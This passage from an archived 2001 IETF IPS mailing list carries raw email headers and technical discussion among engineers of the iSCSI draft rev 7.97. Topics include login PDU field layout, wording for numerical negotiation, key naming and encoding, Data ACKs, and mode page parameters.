26 Sep 2001 16:19:04 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8QInjB22537 for ips-outgoing; Wed, 26 Sep 2001 14:49:45 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel10.hp.com (palrel10.hp.com [156.153.255.245]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8QIniP22533 for ; Wed, 26 Sep 2001 14:49:44 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel10.hp.com (Postfix) with ESMTP id 654071F504 for ; Wed, 26 Sep 2001 11:49:35 -0700 (PDT) Received: (from santoshr@localhost) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) id LAA03939; Wed, 26 Sep 2001 11:49:29 -0700 (PDT) From: Santosh Rao Message-Id: <200109261849.LAA03939@hpcuhe.cup.hp.com> Subject: iscsi : Re : iSCSI PDU Formats To: ips@ece.cmu.edu (ips) Date: Wed, 26 Sep 2001 11:49:29 -0700 (PDT) X-Mailer: ELM [version 2.5 PL2] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Julian & All, I support Bob Russell's suggestion below to split the CXnSG field into 2 separate fields, namely, CS & NS. This keeps the coding and manipulation of this structure field simpler. Thanks, Santosh Bob Russell wrote : > 2. The Login Request and Login Response PDUs now have a new 4-bit > field labelled CNxSG. This field consists of 2 2-bit parts. > > I propose labeling each part separately -- bits 0-1 to be > labeled "CS" for Current Stage, bits 2-3 "NS" for Next Stage. > > I believe this makes understanding and coding much simpler, > because in all cases these fields are interpreted separately, > and when the T bit is 0 the Next Stage has to be ignored. > It is a lot easier to ignore it if it is a separate field. > > >Thank you. > >Bob Russell >InterOperability Lab >University of New Hampshire >rdr@iol.unh.edu >603-862-3774 -- ################################# Santosh Rao Software Design Engineer, HP, Cupertino. email : santoshr@cup.hp.com Phone : 408-447-3751 ################################# From owner-ips@ece.cmu.edu Wed Sep 26 16:44:59 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA28359 for ; Wed, 26 Sep 2001 16:44:59 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8QJt6x27135 for ips-outgoing; Wed, 26 Sep 2001 15:55:06 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8QJt4P27130 for ; Wed, 26 Sep 2001 15:55:04 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-3.de.ibm.com (1.0.0) with ESMTP id VAA88692 for ; Wed, 26 Sep 2001 21:54:52 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8QJspS17858 for ; Wed, 26 Sep 2001 21:54:52 +0200 Subject: Re: iscsi : numerical negotiation wording is ambiguous To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Wed, 26 Sep 2001 22:49:19 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 26/09/2001 22:54:51 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Santosh, I am missing something. The rule states what value both parties should have after both have seen the two values. Obviously we assume that no error occurs and the responder value is seen y the offering party or the negotiation fails. What exactly is ambiguous about it? Julo Santosh Rao cc: Sent by: Subject: iscsi : numerical negotiation wording is owner-ips@ece. ambiguous cmu.edu 26-09-01 19:59 Please respond to Santosh Rao Julian & All, The definition of numerical negotiation in Section 2.2.4 of Rev 7.97 reads : "In numerical negotiations, the offering and responding party state a numerical value. The result of the negotiation is key dependent; frequently the lower or the higher of the two values is used." The above definition is ambiguous, since it does not specify whether it is the originator or the responder that computes the result of the negotiation. i.e. Is it the responsibility of the target to pick the higher or lower of the 2 values and respond with the result of the negotiation ? OR : Is it the originator that has to pick the result of the negotiation based on the key it sent and the key it got back ? I would suggest that the wording be clarified to indicate that the responder picks the result of the negotiation and sends this result back in its response for this key. Perhaps, some re-wording along the following lines may be in order : "In numerical negotiations, the offering party states a numerical value, and the responding party states the result (operational value) after the negotiation. The result of the negotiation is key dependent; responder determines it based on the lower or the higher of the two values - offering party's value, and what the responder can support." Comments ? Regards, Santosh -- ################################# Santosh Rao Software Design Engineer, HP, Cupertino. email : santoshr@cup.hp.com Phone : 408-447-3751 ################################# From owner-ips@ece.cmu.edu Wed Sep 26 16:48:53 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA28413 for ; Wed, 26 Sep 2001 16:48:51 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8QJfTE26211 for ips-outgoing; Wed, 26 Sep 2001 15:41:29 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8QJfRP26205 for ; Wed, 26 Sep 2001 15:41:28 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate-2.de.ibm.com (1.0.0) with ESMTP id VAA13126 for ; Wed, 26 Sep 2001 21:41:16 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8QJfFA263710 for ; Wed, 26 Sep 2001 21:41:15 +0200 Subject: Re: iSCSI: more comments on draft -07-97 To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Wed, 26 Sep 2001 22:41:36 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 26/09/2001 22:41:15 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Steve, As we said earlier many of the key names are directly borrowed from other RFCs. Although they are from the same "series" (GSS) the have no systematic name-formation rules and we have just followed whatever was out there. Should we change SPKM to use underscore too? I will try to clean it up a bit and make all keys use underscore. As for coding I think that we don't have good reasons (experience?) to impose coding. Please recall that we left both decimal and hex to allow for manual entry and cut and paste. Julo Steve Senum cc: Subject: iSCSI: more comments on draft -07-97 26-09-01 18:05 Please respond to Steve Senum Hi Julian, A couple of further comments to add to my last message. 9. The key names in Appendix A use both '-' and '_'. You might consider having all of them use '-': CHAP-N not CHAP_N. 10. I think it would be benenfical to have some guidelines for the different encoding methods for numbers, if value <= unsigned 32 bits use decimal or hexadecimal else if value <= (255 - 2) hexadecimal digits use hexadecimal or base 64, else use base 64 end or perhaps if value <= unsigned 32 bits use decimal or hexadecimal else use base 64 end The point is to always use an efficient encoding for numbers > unsigned 32 bits. Regards, Steve Senum From owner-ips@ece.cmu.edu Wed Sep 26 16:48:56 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA28424 for ; Wed, 26 Sep 2001 16:48:56 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8QK2FH27659 for ips-outgoing; Wed, 26 Sep 2001 16:02:15 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8QK2CP27651 for ; Wed, 26 Sep 2001 16:02:12 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate-3.de.ibm.com (1.0.0) with ESMTP id WAA55410; Wed, 26 Sep 2001 22:02:01 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8QK20A24612; Wed, 26 Sep 2001 22:02:00 +0200 Subject: Re: iscsi : Data ACKs already been included into draft (?) To: Santosh Rao Cc: Black_David@emc.com (David Black), ips@ece.cmu.edu (ips) X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Wed, 26 Sep 2001 23:02:22 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 26/09/2001 23:02:00 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Santosh, What you see is an editor version and not the submission. I did show only how it will look. The difference is in the range of 10 lines (probably even less in code lines :-)). No need to panic and shout. Julo Santosh Rao cc: Black_David@emc.com (David Black) Sent by: Subject: iscsi : Data ACKs already been included owner-ips@ece. into draft (?) cmu.edu 26-09-01 21:21 Please respond to Santosh Rao Julian & All, It looks like the Data ACK scheme you proposed has already been included into the Rev 7.97 draft !(?) I don't recollect the group having reached consensus on re-inclusion of this feature, nor consensus on the mechanism used for the data ack. Given this, why is the change already present in the draft ? I would like to request that any changes to the draft be first posted to the reflector for review and only upon its acceptance on the reflector should it be included in the draft. Incorporating changes into the draft prior to their acceptance on the reflector is only going to slow down the stabilization of the draft further. At this late stage in the draft, every sentence modified must be subject to review prior to inclusion in the draft. Thanks, Santosh -- ################################# Santosh Rao Software Design Engineer, HP, Cupertino. email : santoshr@cup.hp.com Phone : 408-447-3751 ################################# From owner-ips@ece.cmu.edu Wed Sep 26 16:51:29 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA28483 for ; Wed, 26 Sep 2001 16:51:27 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8QJZb825843 for ips-outgoing; Wed, 26 Sep 2001 15:35:37 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from lucy.trebia.com ([65.192.191.151]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8QJZaP25839 for ; Wed, 26 Sep 2001 15:35:36 -0400 (EDT) Received: from trebia.com (TREBIA-JWS [65.192.191.235]) by lucy.trebia.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id TJVWXAR1; Wed, 26 Sep 2001 15:39:57 -0400 Message-ID: <3BB22E36.F465F326@trebia.com> Date: Wed, 26 Sep 2001 15:36:22 -0400 From: James Smart Reply-To: james.smart@trebia.com X-Mailer: Mozilla 4.75 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: "Sanjeev Bhagat (TRIPACE/Zoetermeer)" CC: "'John Hufferd'" , Julian Satran , ips@ece.cmu.edu Subject: Re: iscsi : default iscsi mode page settings. References: <8C59010722BBD31194640050DA6EC6971B9843@ZOETERMEER> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit As a futher complexity nit.... If the iSCSI layer must snoop mode select commands - it must snoop the entire i/o from end to end (cmd, data and response). If the target or attached SCSI layer rejects the mode select, it must not change operational parameters until the accepted status is received. Under the appropriate check condition, the target may actually accept the change, but rounded the values - and the iSCSI layer then is dependent on another Mode Select being issued to make sure it has the right value... Nasty for normal target/initiator implementations, very ugly for bridging functions. I am firmly in the camp that iscsi transport parameters be maintained by iscsi mechanisms - thus it should be a login key. Although I won't win this one - I further believe that these things should not be reflected in SCSI mode pages at all, for all the application/compatibility/multi-initiator/snooping reasons pointed out. Besides, iSCSI should not be as dependent upon SCSI pass through (thus, I assume, the use of mode pages) for device management as previous transports were (iSCSI should have SNMP support present). It'd be nice to have iSCSI put a stake in the ground and clean up this issue rather than propagate it. -- James "Sanjeev Bhagat (TRIPACE/Zoetermeer)" wrote: > Julo, John J&J :), > > So I see that you basically come to the point that FirstBurstSize and > MaxBurstSize field be put into the login keys. If you agree this, and if i > have to see the SCSI mode page parameters, the only odd field left out is > EMDP (enable modify data pointer). This should also be included in > login/text keys. Why should this be left out alone? The inititator will need > to make an extra mode sense command to know this. We should either keep all > three parameters readable through mode sense command or login /text keys or > both. > > By the way in my view there is no SCSI (CDB) command to set transport mode > page parameters. Also a zero copy buffer operation to SCSI is only possible > if there is no missing data in the buffer. > > Regards, > Sanjeev > From owner-ips@ece.cmu.edu Wed Sep 26 16:53:46 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA28528 for ; Wed, 26 Sep 2001 16:53:46 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8QJvEj27287 for ips-outgoing; Wed, 26 Sep 2001 15:57:14 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8QJvCP27279 for ; Wed, 26 Sep 2001 15:57:12 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate-3.de.ibm.com (1.0.0) with ESMTP id VAA55322 for ; Wed, 26 Sep 2001 21:57:06 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8QJv5A124834 for ; Wed, 26 Sep 2001 21:57:05 +0200 Subject: Re: iscsi : Re : iSCSI PDU Formats To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Wed, 26 Sep 2001 22:57:28 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 26/09/2001 22:57:05 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk It has been done already - Julo Santosh Rao cc: Sent by: Subject: iscsi : Re : iSCSI PDU Formats owner-ips@ece. cmu.edu 26-09-01 20:49 Please respond to Santosh Rao Julian & All, I support Bob Russell's suggestion below to split the CXnSG field into 2 separate fields, namely, CS & NS. This keeps the coding and manipulation of this structure field simpler. Thanks, Santosh Bob Russell wrote : > 2. The Login Request and Login Response PDUs now have a new 4-bit > field labelled CNxSG. This field consists of 2 2-bit parts. > > I propose labeling each part separately -- bits 0-1 to be > labeled "CS" for Current Stage, bits 2-3 "NS" for Next Stage. > > I believe this makes understanding and coding much simpler, > because in all cases these fields are interpreted separately, > and when the T bit is 0 the Next Stage has to be ignored. > It is a lot easier to ignore it if it is a separate field. > > >Thank you. > >Bob Russell >InterOperability Lab >University of New Hampshire >rdr@iol.unh.edu >603-862-3774 -- ################################# Santosh Rao Software Design Engineer, HP, Cupertino. email : santoshr@cup.hp.com Phone : 408-447-3751 ################################# From owner-ips@ece.cmu.edu Wed Sep 26 17:45:43 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA29651 for ; Wed, 26 Sep 2001 17:45:38 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8QKLPk29090 for ips-outgoing; Wed, 26 Sep 2001 16:21:25 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from va2mc.ummailbox.net (va2mc.ummailbox.net [64.210.247.17]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8QKLNP29084 for ; Wed, 26 Sep 2001 16:21:23 -0400 (EDT) Received: from hqmailweb.COMMSTOR.Crossroads.com (HQMailWeb.Crossroads.com [63.237.99.250:25]) by va2mc.ummailbox.net with ESMTP id T0926-1621-071e00; Wed, 26 Sep 2001 20:21:13 GMT Received: from HQMAILNODE1.COMMSTOR.Crossroads.com ([10.5.1.42]) by hqmailweb.COMMSTOR.Crossroads.com with Microsoft SMTPSVC(5.0.2195.2966); Wed, 26 Sep 2001 15:21:16 -0500 X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Subject: ISCSI: scsi response 'response data' Date: Wed, 26 Sep 2001 15:21:12 -0500 Message-ID: Thread-Topic: iSCSI: state of a SCSI MIB (was RE: ISCSI: A propos MIB and specially iSCSI MIB) Thread-Index: AcEw2c2ywDbg5JAJRImFhmMNRxeHLgEGDFJQAX98cTAC7SYRMAAIs1Hg From: "Buck Landry" To: X-OriginalArrivalTime: 26 Sep 2001 20:21:16.0614 (UTC) FILETIME=[CB96B660:01C146C8] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ece.cmu.edu id f8QKLNP29085 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 8bit Quick question about the "Send Data and Response Data (optional)" field in the Scsi Response PDU. (iscsi version 07) Namely: is 'Response Data' allowed to contain *scsi* response information, such as scsi inquiry data (ie, a scsi inquiry response to a scsi inquiry command). Thanks, Buck From owner-ips@ece.cmu.edu Wed Sep 26 17:46:25 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA29670 for ; Wed, 26 Sep 2001 17:46:25 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8QL2Q802286 for ips-outgoing; Wed, 26 Sep 2001 17:02:26 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from zoetermeer.tripace.com (eth0.81033r2ce.rtd.skybernet.net [217.17.136.66]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8QL2NP02276 for ; Wed, 26 Sep 2001 17:02:24 -0400 (EDT) Received: by ZOETERMEER with Internet Mail Service (5.5.2653.19) id ; Wed, 26 Sep 2001 23:04:04 +0200 Message-ID: <8C59010722BBD31194640050DA6EC6971B9850@ZOETERMEER> From: "Sanjeev Bhagat (TRIPACE/Zoetermeer)" To: "'Thomas Dineen'" , ips@ece.cmu.edu Subject: RE: iSCSI 07-95 Comment 1 Date: Wed, 26 Sep 2001 23:04:03 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Gentleman :), The PDU described is a data structure and not a hardware signal on a bus. So it is not necessary to define it as active or negative. Am I wrong?? Sanjeev -----Original Message----- From: Thomas Dineen [mailto:tdineen@redswitch.com] Sent: Wednesday, September 26, 2001 3:15 AM To: ips@ece.cmu.edu; Thomas Dineen Subject: iSCSI 07-95 Comment 1 GentlePeople: "3.2.1.1 X The X bit is used as a Retry/Restart indicator for request PDUs (PDUs from initiator to target). This bit is always 1 for response PDUs (PDUs from target to initiator)." "3.2.1.2 I The I bit is used as immediate delivery marker for request PDUs (PDUs from initiator to target). This bit is always 1 for response PDUs (PDUs from target to initiator)." - Reading the above paragraphs I do not get a sence of whether the X and I bits are active for a one or zero state. Please specify the logical function of both the X and I bits for both the one and zero states. Thomas Dineen From owner-ips@ece.cmu.edu Wed Sep 26 17:59:07 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA29926 for ; Wed, 26 Sep 2001 17:59:07 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8QL9ju02807 for ips-outgoing; Wed, 26 Sep 2001 17:09:45 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8QL9hP02798 for ; Wed, 26 Sep 2001 17:09:43 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel12.hp.com (Postfix) with ESMTP id 568E11F56D for ; Wed, 26 Sep 2001 14:09:35 -0700 (PDT) Received: from cup.hp.com (santoshr@hpindhhm.cup.hp.com [15.8.80.197]) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id OAA14976 for ; Wed, 26 Sep 2001 14:09:31 -0700 (PDT) Message-ID: <3BB2459A.2531B2A3@cup.hp.com> Date: Wed, 26 Sep 2001 14:16:11 -0700 From: Santosh Rao Organization: Hewlett Packard, Cupertino. X-Mailer: Mozilla 4.7 [en] (X11; U; HP-UX B.11.00 9000/778) X-Accept-Language: en MIME-Version: 1.0 To: ips@ece.cmu.edu Subject: Re: iscsi : numerical negotiation wording is ambiguous References: Content-Type: multipart/mixed; boundary="------------95891AE59A8A8D8249CFC397" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multi-part message in MIME format. --------------95891AE59A8A8D8249CFC397 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Julian, What is the responding party supposed to offer ? Is it supposed to determine the result of the negotiation (higher or lower value, as the case may be) and send that as its response ? Or, is it supposed to send in its numerical value and the initiator picks the higher or lower of the 2 ? This does'nt come across clear enough in the definition and is open to mis-interpretation. Please see the suggested re-word in its place. Thanks, Santosh Julian Satran wrote: > Santosh, > > I am missing something. The rule states what value both parties should have > after both have seen the two values. > Obviously we assume that no error occurs and the responder value is seen y > the offering party or the negotiation fails. > > What exactly is ambiguous about it? > > Julo > > > Santosh Rao > hp.com> cc: > Sent by: Subject: iscsi : numerical negotiation wording is > owner-ips@ece. ambiguous > cmu.edu > > > 26-09-01 19:59 > Please respond > to Santosh Rao > > > > Julian & All, > > The definition of numerical negotiation in Section 2.2.4 of Rev 7.97 > reads : > > "In numerical negotiations, the offering and responding party state > a numerical value. The result of the negotiation is key dependent; > frequently the lower or the higher of the two values is used." > > The above definition is ambiguous, since it does not specify whether it is > the originator or the responder that computes the result of the > negotiation. > > i.e. Is it the responsibility of the target to pick the higher or lower of > the 2 values and respond with the result of the negotiation ? > > OR : > Is it the originator that has to pick the result of the negotiation > based on the key it sent and the key it got back ? > > I would suggest that the wording be clarified to indicate that the > responder picks the result of the negotiation and sends this result back > in its response for this key. > > Perhaps, some re-wording along the following lines may be in order : > > "In numerical negotiations, the offering party states a numerical > value, and the responding party states the result (operational value) > after the negotiation. The result of the negotiation is key > dependent; responder determines it based on the lower or the higher > of the two values - offering party's value, and what the responder > can support." > > Comments ? > > Regards, > Santosh > > -- > ################################# > Santosh Rao > Software Design Engineer, > HP, Cupertino. > email : santoshr@cup.hp.com > Phone : 408-447-3751 > ################################# --------------95891AE59A8A8D8249CFC397 Content-Type: text/x-vcard; charset=us-ascii; name="santoshr.vcf" Content-Description: Card for Santosh Rao Content-Disposition: attachment; filename="santoshr.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Rao;Santosh tel;work:408-447-3751 x-mozilla-html:FALSE org:Hewlett Packard, Cupertino.;SISL adr:;;19420, Homestead Road, M\S 43LN, ;Cupertino.;CA.;95014.;USA. version:2.1 email;internet:santoshr@cup.hp.com title:Software Design Engineer x-mozilla-cpt:;21088 fn:Santosh Rao end:vcard --------------95891AE59A8A8D8249CFC397-- From owner-ips@ece.cmu.edu Wed Sep 26 18:02:46 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA00032 for ; Wed, 26 Sep 2001 18:02:44 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8QLV9J04330 for ips-outgoing; Wed, 26 Sep 2001 17:31:09 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from redswitch.com (mail.redswitch.com [206.14.68.143]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8QLV3P04314 for ; Wed, 26 Sep 2001 17:31:03 -0400 (EDT) Received: from [192.168.4.58] (account tdineen HELO redswitch.com) by redswitch.com (CommuniGate Pro SMTP 3.4.8) with ESMTP id 1951602; Wed, 26 Sep 2001 14:31:04 -0700 Message-ID: <3BB24A05.B0811A85@redswitch.com> Date: Wed, 26 Sep 2001 14:35:01 -0700 From: Thomas Dineen Organization: RedSwitch Inc. X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: "Sanjeev Bhagat (TRIPACE/Zoetermeer)" CC: ips@ece.cmu.edu, Thomas Dineen Subject: Re: iSCSI 07-95 Comment 1 References: <8C59010722BBD31194640050DA6EC6971B9850@ZOETERMEER> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Sanjeev: I disagree! Maybe I should have provided a few more words in my original comment. For example the X Bit: Dose a one state mean Retry? Dose a zero mean Restart? We need to specify what happens when the bit is one and what if anything happens when the bit is zero. These details are specified for other variables in the draft. Thomas Dineen "Sanjeev Bhagat (TRIPACE/Zoetermeer)" wrote: > > Gentleman :), > > The PDU described is a data structure and not a hardware signal on a bus. So > it is not necessary to define it as active or negative. > > Am I wrong?? > > Sanjeev > > -----Original Message----- > From: Thomas Dineen [mailto:tdineen@redswitch.com] > Sent: Wednesday, September 26, 2001 3:15 AM > To: ips@ece.cmu.edu; Thomas Dineen > Subject: iSCSI 07-95 Comment 1 > > GentlePeople: > > "3.2.1.1 X > The X bit is used as a Retry/Restart indicator for request PDUs (PDUs > from initiator to target). This bit is always 1 for response PDUs > (PDUs from target to initiator)." > > "3.2.1.2 I > The I bit is used as immediate delivery marker for request PDUs (PDUs > from initiator to target). This bit is always 1 for response PDUs > (PDUs from target to initiator)." > > - Reading the above paragraphs I do not get a sence of whether the > X and I bits are active for a one or zero state. Please specify the > logical function of both the X and I bits for both the one and zero > states. > > Thomas Dineen From owner-ips@ece.cmu.edu Wed Sep 26 18:15:24 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA00160 for ; Wed, 26 Sep 2001 18:15:24 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8QLYXs04541 for ips-outgoing; Wed, 26 Sep 2001 17:34:33 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from dogwood.cisco.com (dogwood.cisco.com [161.44.11.19]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8QLYVP04532 for ; Wed, 26 Sep 2001 17:34:31 -0400 (EDT) Received: from cisco.com (dhcp-161-44-68-173.cisco.com [161.44.68.173]) by dogwood.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id RAA05606 for ; Wed, 26 Sep 2001 17:34:25 -0400 (EDT) Message-ID: <3BB249C2.59AA523F@cisco.com> Date: Wed, 26 Sep 2001 16:33:54 -0500 From: Steve Senum X-Mailer: Mozilla 4.73 [en]C-CCK-MCD (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: ietf-ips Subject: Re: iSCSI: more comments on draft -07-97 References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Julian, Julian Satran wrote: > > Steve, > > As we said earlier many of the key names are directly borrowed from other > RFCs. > > Although they are from the same "series" (GSS) the have no systematic > name-formation rules and we have just followed whatever was out there. > Should we change SPKM to use underscore too? I will try to clean it up a > bit and make all keys use underscore. Actually, I was suggesting using dashes, not underscores. Either way, I thought the usage convention could be more consistent. > > As for coding I think that we don't have good reasons (experience?) to > impose coding. > > Please recall that we left both decimal and hex to allow for manual entry > and cut and paste. I have doubts about the wisdom of allowing someone to cut and paste values directly into the iSCSI text stream. I think for the sake of encode/decode efficiency, values that can exceed 32 bits should be hexadecimal of base64. Regards, Steve Senum From owner-ips@ece.cmu.edu Wed Sep 26 19:09:14 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA00834 for ; Wed, 26 Sep 2001 19:09:14 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8QM6ew06574 for ips-outgoing; Wed, 26 Sep 2001 18:06:40 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from esply02.cnt.com (mailhost.cnt.com [139.93.128.21]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8QM6cP06570 for ; Wed, 26 Sep 2001 18:06:38 -0400 (EDT) 